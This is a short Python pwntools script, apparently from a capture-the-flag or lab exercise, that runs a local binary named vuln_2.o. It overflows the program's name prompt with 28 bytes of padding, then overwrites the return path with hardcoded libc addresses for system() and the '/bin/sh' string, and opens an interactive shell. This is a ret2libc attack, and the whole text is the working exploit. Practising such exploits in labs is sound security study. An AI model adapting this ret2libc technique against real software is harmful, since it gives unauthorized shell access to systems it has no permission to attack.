from pwn import *

p = process("./vuln_2.o")

p.readuntil("What's your name?\n")

gdb.attach(p)

name = "aaaabbbbccccddddeeeeffffgggg" # junk
name += '\x40\x00\xe1\xf7' #address of system in libc
name += '\x00\x00\x00\x00' # ret
name += '\x3c\x73\xf5\xf7'#address of binsh in libc 0xfdcc000 + 0x18c33c


p.sendline(name)

p.interactive()
